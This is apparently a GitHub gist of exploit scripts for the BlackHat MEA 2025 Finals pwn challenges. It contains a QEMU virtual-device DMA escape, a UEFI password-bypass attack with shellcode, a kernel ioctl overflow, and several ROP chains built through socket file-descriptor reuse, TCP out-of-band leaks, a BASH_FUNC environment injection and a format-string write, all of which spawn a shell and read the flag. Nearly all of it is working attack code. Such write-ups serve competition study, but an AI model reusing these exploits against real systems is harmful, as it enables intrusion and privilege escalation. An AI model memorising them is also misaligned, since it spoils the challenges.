Created
December 4, 2025 15:22
-
-
Save ptr-yudai/ebf09b77256853fdfc3b2da5335b5ff2 to your computer and use it in GitHub Desktop.
BlackHat MEA 2025 Finals (Pwn)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <assert.h> | |
| #include <fcntl.h> | |
| #include <stdio.h> | |
| #include <stdint.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <sys/mman.h> | |
| int pagemap_fd = -1; | |
| uint64_t virt2phys(void *p) { | |
| uint64_t virt = (uint64_t)p; | |
| assert ((virt & 0xfff) == 0); | |
| if (pagemap_fd == -1) { | |
| pagemap_fd = open("/proc/self/pagemap", O_RDONLY); | |
| assert (pagemap_fd != -1); | |
| } | |
| uint64_t ofs = (virt / 0x1000) * 8; | |
| assert (lseek(pagemap_fd, ofs, SEEK_SET) == ofs); | |
| uint64_t phys; | |
| assert (read(pagemap_fd, &phys, 8) == 8); | |
| assert (phys & (1ULL << 63)); | |
| return (phys & ((1ULL << 55) - 1)) * 0x1000; | |
| } | |
| static inline void mmio_w64(volatile void *mmio, uint64_t ofs, uint64_t val) { | |
| *(volatile uint64_t*)(mmio + ofs) = val; | |
| } | |
| static inline uint64_t mmio_r64(volatile void *mmio, uint64_t ofs) { | |
| return *(volatile uint64_t*)(mmio + ofs); | |
| } | |
| #define EDU "04" | |
| #define EDU_CARD_ADDR 0x40000 | |
| #define EDU_DMA_SRC 0x80 | |
| #define EDU_DMA_DST 0x88 | |
| #define EDU_DMA_CNT 0x90 | |
| #define EDU_DMA_CMD 0x98 | |
| #define EDU_CMD_RAM2EDU 0b001 | |
| #define EDU_CMD_EDU2RAM 0b011 | |
| int main() { | |
| int cfg; | |
| uint16_t cmd; | |
| setbuf(stdout, NULL); | |
| puts("[+] Configuring PCI devices..."); | |
| cfg = open("/sys/devices/pci0000:00/0000:00:" EDU ".0/config", O_RDWR); | |
| assert (cfg != -1); | |
| pread(cfg, &cmd, 2, 0x04); | |
| cmd |= 0x0004; | |
| pwrite(cfg, &cmd, 2, 0x04);; | |
| close(cfg); | |
| puts("[+] Opening PCI devices..."); | |
| int edu_fd = open("/sys/devices/pci0000:00/0000:00:" EDU ".0/resource0", O_RDWR | O_SYNC); | |
| assert (edu_fd != -1); | |
| void *edu = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, edu_fd, 0); | |
| assert (edu != MAP_FAILED); | |
| void *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, | |
| MAP_POPULATE|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
| assert (map != MAP_FAILED); | |
| uint64_t map_phys = virt2phys(map); | |
| void *payload = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, | |
| MAP_POPULATE|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
| assert (payload != MAP_FAILED); | |
| uint64_t payload_phys = virt2phys(payload); | |
| /* Leak buf and QEMU base */ | |
| mmio_w64(edu, EDU_DMA_SRC, EDU_CARD_ADDR - 0x1000); | |
| mmio_w64(edu, EDU_DMA_DST, map_phys); | |
| mmio_w64(edu, EDU_DMA_CNT, 0x1000); | |
| mmio_w64(edu, EDU_DMA_CMD, EDU_CMD_EDU2RAM); | |
| while (mmio_r64(edu, EDU_DMA_CMD) & 1); | |
| uint64_t ops = *(size_t*)(map + 0xe68); | |
| uint64_t qemu_base = ops - 0x17f8140; | |
| uint64_t opaque = *(size_t*)(map + 0xe70); | |
| uint64_t dma_buf = opaque + 0xca8; | |
| uint64_t system = 0x19a7f68; | |
| printf("[+] ops = 0x%016lx\n" | |
| "[+] qemu = 0x%016lx\n" | |
| "[+] opaque = 0x%016lx\n" | |
| "[+] dma_buf = 0x%016lx\n", | |
| ops, qemu_base, opaque, dma_buf); | |
| /* Overwrite ops */ | |
| *(size_t*)(payload + 0x00) = qemu_base + 0x001c8dae; // call [rdi+0x50] | |
| *(size_t*)(payload + 0x08) = 0xcafebabe; | |
| mmio_w64(edu, EDU_DMA_SRC, payload_phys); | |
| mmio_w64(edu, EDU_DMA_DST, EDU_CARD_ADDR); | |
| mmio_w64(edu, EDU_DMA_CNT, 0x1000); | |
| mmio_w64(edu, EDU_DMA_CMD, EDU_CMD_RAM2EDU); | |
| while (mmio_r64(edu, EDU_DMA_CMD) & 1); | |
| strcpy(map + 0x358, "cat /flag*.txt"); | |
| *(size_t*)(map + 0x3a8) = qemu_base + 0x4f8b4b; // call system | |
| *(size_t*)(map + 0xe68) = dma_buf; | |
| mmio_w64(edu, EDU_DMA_SRC, map_phys); | |
| mmio_w64(edu, EDU_DMA_DST, EDU_CARD_ADDR - 0x1000); | |
| mmio_w64(edu, EDU_DMA_CNT, 0x1000); | |
| mmio_w64(edu, EDU_DMA_CMD, EDU_CMD_RAM2EDU); | |
| while (mmio_r64(edu, EDU_DMA_CMD) & 1); | |
| return 0; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| import random | |
| import string | |
| import time | |
| from ptrlib import * | |
| from Crypto.Cipher import AES | |
| HOST = os.getenv("HOST", "localhost") | |
| PORT = int(os.getenv("PORT", "5000")) | |
| random.seed(0x137) | |
| def random_str(length): | |
| return ''.join(random.choices(string.printable.strip(), k=length)).encode() | |
| key_map = { | |
| "up": b"\x1b[A", | |
| "down": b"\x1b[B", | |
| "left": b"\x1b[D", | |
| "right": b"\x1b[C", | |
| "esc": b"\x1b^[", | |
| "enter": b"\r", | |
| "tab": b"\t" | |
| } | |
| def send_key(_key: str, times: int = 1): | |
| for _ in range(times): | |
| sock.send(key_map[_key]) | |
| time.sleep(0.5) | |
| shell_start = 0x000000001eb6e3b1 # in PlatformBootManagerUnableToboot | |
| addr_shellcode = 0x000000001e954548 | |
| cpu = IntelCPU(64) | |
| shellcode = cpu.assemble(f""" | |
| sub rbp, 0x1000 // Avoid crash | |
| add rsp, 8 | |
| mov rax, {shell_start} | |
| jmp rax | |
| """) | |
| efi_base = 0x1e3a5000 | |
| addr_password = 0x000000001e954528 | |
| # call qword ptr [rax+118h] ; OpenProtocol | |
| #fake_table = p64(addr_password + 8 - 0x118) + p64(0xdeaddead) | |
| fake_table = p64(addr_password + 8 - 0x118) + p64(addr_shellcode) | |
| key = b'\x10\x32\x54\x76\x98\xba\xdc\xfe\x0f\x1e\x2d\x3c\x4b\x5a\x69\x78' | |
| iv = xor(AES.new(key, AES.MODE_ECB).decrypt(fake_table), b"A"*16) | |
| #sock = Process("./run", cwd="../../challenge/app") | |
| sock = Socket(HOST, PORT) | |
| sock.recvline() | |
| p = Process(["sh", "-c", sock.recvline().decode()]) | |
| sol = p.recvline() | |
| p.close() | |
| sock.after("solution: ").sendline(sol) | |
| logger.info("Searching plaintext...") | |
| while True: | |
| plain = b"A"*16 | |
| plain += random_str(512 - 16 - 16) | |
| cipher = AES.new(key, AES.MODE_CBC, iv).encrypt(plain) | |
| last_plain = b'\x10' * 16 | |
| # mov rax, [rdi+60h] ; BootServices | |
| last_cipher = b"A"*8 + p64(addr_password - 0x60) | |
| middle_cipher = xor(AES.new(key, AES.MODE_ECB).decrypt(last_cipher), last_plain) | |
| middle_plain = xor(AES.new(key, AES.MODE_ECB).decrypt(middle_cipher), cipher[-16:]) | |
| plain += middle_plain + last_plain | |
| challenge = plain[-32:-16] | |
| for c in challenge: | |
| if c in [0, 8, 10, 13] or c >= 0x7f: | |
| break | |
| else: | |
| print("found") | |
| print(plain) | |
| break | |
| logger.info("Setting password...") | |
| enc = AES.new(key, AES.MODE_CBC, iv).encrypt(plain[:0x10] + b'\x10'*16) | |
| enc += shellcode | |
| sock.after("$ ").sendline(f"printf '{''.join(map(lambda c: f'\\x{c:02x}', iv))}' > /tmp/a") | |
| sock.after("$ ").sendline(f"printf '{''.join(map(lambda c: f'\\x{c:02x}', enc))}' >> /tmp/a") | |
| sock.after("$ ").sendline("efivar -w -n 826f5ec7-8067-402d-b3a5-f1b1eb9dbc31-PcLock -f /tmp/a") | |
| sock.after("$ ").sendline("exit") | |
| logger.info("Pwning...") | |
| payload = plain | |
| sock.after("Enter password: ").sendline(payload) | |
| sock.after("Enter password: ").sendline(payload[:0x10]) | |
| sock.sendline(b"A") | |
| sock.recvuntil("Please select boot device") | |
| logger.info("Entering EFI shell...") | |
| time.sleep(0.5) | |
| send_key("down", 4) | |
| send_key("enter") | |
| send_key("enter") | |
| logger.info("Executing Linux in root mode...") | |
| sock.after("Shell>").send("\rmap\r") | |
| sock.after("Shell>").send("\rfs0:\r") | |
| sock.after("FS0:\\>").send("\rls\r") | |
| sock.after("FS0:\\>").send('\r\\bzImage root=/dev/sda console=ttyS0 init=/bin/sh\r') | |
| logger.info("You got a root shell!") | |
| sock.sh(prompt="") # run "cat /dev/sdb" to get the flag | |
| os.system("pkill qemu-system-x86") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <assert.h> | |
| #include <fcntl.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/mman.h> | |
| #include <sys/ioctl.h> | |
| #include <unistd.h> | |
| #define CMD_READ 0x1337 | |
| #define CMD_WRITE 0x1338 | |
| struct req_t { | |
| char* buf; | |
| size_t size; | |
| }; | |
| int fd; | |
| static inline int cmd_read(char *buf, size_t size) { | |
| struct req_t req = { .buf = buf, .size = size }; | |
| return ioctl(fd, CMD_READ, &req); | |
| } | |
| static inline int cmd_write(char *buf, size_t size) { | |
| struct req_t req = { .buf = buf, .size = size }; | |
| return ioctl(fd, CMD_WRITE, &req); | |
| } | |
| int main() { | |
| char buf[0x1000] = { 0 }; | |
| assert((fd = open("/dev/vuln", O_RDWR)) != -1); | |
| cmd_read(buf, 0x1000 - 0x2a0); | |
| size_t addr_flag = *(size_t*)(buf + 0x1b0) - 0x220; | |
| printf("[+] flag = 0x%016lx\n", addr_flag); | |
| *(size_t*)(buf + 0x128) = addr_flag - 0x10; | |
| printf("%d\n", cmd_write(buf, 0x1000 - 0x29f)); | |
| getchar(); // Flag shown in panic message | |
| return 0; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| import socket | |
| import time | |
| from ptrlib import * | |
| HOST = os.getenv("HOST", "192.168.1.200") | |
| PORT = int(os.getenv("PORT", "5000")) | |
| libc = ELF("./libc.so.6") | |
| elf = ELF("../../player/chall") | |
| s1 = Socket(HOST, PORT) # fd=4 | |
| time.sleep(0.1) | |
| s2 = Socket(HOST, PORT) # fd=5 | |
| s1.send(p64(0x100)) | |
| time.sleep(0.25) | |
| # Close fd=4 | |
| s2.send(p64(0x100)) | |
| s2.send(b"\x00"*0x7c + p32(4)) # pthread_exit ignores NULL pointer on unwind | |
| time.sleep(0.5) | |
| # Open fd=4 | |
| s3 = Socket(HOST, PORT) # fd=6 | |
| time.sleep(0.1) | |
| s4 = Socket(HOST, PORT) # fd=4 | |
| time.sleep(0.1) | |
| s4.send(p64(0x100)) | |
| s4.send(b"\x00"*0x7c + p32(1 << 31)) | |
| time.sleep(0.25) | |
| # Send RST packet to fd=4 | |
| s1._sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, p32(1) + p32(0)) | |
| s1._sock.close() | |
| # Leak | |
| leak = s4.recvall(0x100) | |
| canary = u64(leak[0x48:0x50]) | |
| logger.info("canary = " + hex(canary)) | |
| elf.base = u64(leak[0x58:0x60]) - 0x147e | |
| libc.base = u64(leak[0x88:0x90]) - 0x9c720 - 900 | |
| # Close fd=0 and fd=1 | |
| s = Socket(HOST, PORT) | |
| s.send(p64(0x100)) | |
| s.send(b"\x00"*0x7c + p32(0)) | |
| time.sleep(0.1) | |
| s = Socket(HOST, PORT) | |
| s.send(p64(0x100)) | |
| s.send(b"\x00"*0x7c + p32(1)) | |
| time.sleep(0.1) | |
| # Pwn | |
| stdin = Socket(HOST, PORT) # fd=0 | |
| stdout = Socket(HOST, PORT) # fd=1 | |
| payload = b"A"*0x48 | |
| payload += p64([ | |
| canary, | |
| 0, | |
| libc.gadget("ret;"), | |
| libc.gadget("pop rdi; ret;"), | |
| libc.find("/bin/sh"), | |
| libc.symbol("system") | |
| ]) | |
| stdin.send(p64(len(payload))) | |
| stdin.send(payload) | |
| stdin.sendline("cat /flag*.txt") | |
| print(stdout.recvall(timeout=1)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| import time | |
| from ptrlib import * | |
| # NOTE: The exploit will fail with loopback address | |
| # because docker-proxy will try to transfer the packet without TCP flags. | |
| libc = ELF("./libc.so.6") | |
| HOST = os.getenv("HOST", "192.168.151.72") | |
| PORT = int(os.getenv("PORT", "5000")) | |
| sock = Socket(HOST, PORT) | |
| remote_fd = 4 | |
| """ | |
| 1. Leak stack | |
| """ | |
| sock.send(p64(0x180)) | |
| with sock.out_of_band(): | |
| sock.send(b"A"*2) # Abort tcp_recvmsg_locked | |
| buf = sock.recvall(0x180) | |
| canary = u64(buf[0x108:0x110]) | |
| libc.base = u64(buf[0x118:0x120]) - 0x2a1ca | |
| """ | |
| 2. ROP | |
| """ | |
| payload = b"A"*0x108 | |
| payload += p64([ | |
| canary, 0, | |
| libc.gadget('pop rsi; ret'), 0, | |
| libc.gadget('pop rdi; ret'), remote_fd, | |
| libc.symbol('dup2'), | |
| libc.gadget('pop rsi; ret'), 1, | |
| libc.gadget('pop rdi; ret'), remote_fd, | |
| libc.symbol('dup2'), | |
| libc.gadget('ret'), | |
| libc.gadget('pop rdi; ret'), | |
| libc.find('/bin/sh'), | |
| libc.symbol('system') | |
| ]) | |
| sock.send(p64(len(payload))) | |
| sock.send(payload) | |
| sock.recvall(len(payload)) | |
| sock.send(p64(0)) | |
| sock.sendline("cat /flag*.txt") | |
| r = sock.recvregex(r".+\{.+\}") | |
| print(r.group()) | |
| sock.close() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| from ptrlib import * | |
| HOST = os.getenv('HOST', 'localhost') | |
| PORT = int(os.getenv('PORT', '5000')) | |
| env = pad(b"BASH_FUNC_echo%%=() { /bin/sh; }\0", 16, "zero") | |
| padding = b"A"*0x1a | |
| payload = padding | |
| payload += env * ((0x10000 + 0x148 - len(padding)) // len(env)) | |
| payload += b"\x00" * (0x10000 + 0x148 - len(payload)) | |
| print(len(payload)) | |
| while True: | |
| sock = Socket(HOST, PORT) | |
| sock.sendline(payload) | |
| try: | |
| if sock.recvline(timeout=1) == b'Are you a good pwner?': | |
| continue | |
| except TimeoutError: | |
| sock.sh() | |
| exit() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| from ptrlib import * | |
| HOST = os.getenv("HOST", "localhost") | |
| PORT = int(os.getenv("PORT", 5000)) | |
| def do(args: list[str], fmt: str): | |
| sock.after('# of args: ').sendline(len(args)) | |
| for arg in args: | |
| sock.after(': ').sendline(arg) | |
| sock.after('string: ').sendline(fmt) | |
| libc = ELF("./libc.so.6") | |
| sock = Socket(HOST, PORT) | |
| # Leak stack | |
| do([123, 123, 123, 123], '%*c%*c%*c %p') | |
| r = sock.recvregex(r'(0x[0-9a-f]+)') | |
| addr_stack = int(r.group(1), 16) | |
| logger.info("stack = " + hex(addr_stack)) | |
| # Leak proc | |
| do([addr_stack + 0x160], '%s') | |
| elf_base = u64(sock.recvline()) - 0x3d80 | |
| logger.info("proc = " + hex(elf_base)) | |
| # Leak libc | |
| do([elf_base + 0x4010], '%s') | |
| libc.base = u64(sock.recvline()) - libc.symbol('_IO_2_1_stdout_') | |
| # Write ROP chain | |
| rop = p64([ | |
| libc.gadget('ret'), | |
| libc.gadget('pop rdi; ret'), | |
| libc.find('/bin/sh'), | |
| libc.symbol('system') | |
| ]) | |
| for i, c in enumerate(rop): | |
| if c == 0: | |
| do([addr_stack + 0x170 + i], '%hhn') | |
| else: | |
| do([c, 0x41, addr_stack + 0x170 + i], '%*c%hhn') | |
| # Win! | |
| sock.after(': ').sendline('+') | |
| sock.sendline("cat /flag*.txt") | |
| r = sock.recvregex(r'.+\{.+\}') | |
| print(r.group(0)) | |
| sock.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment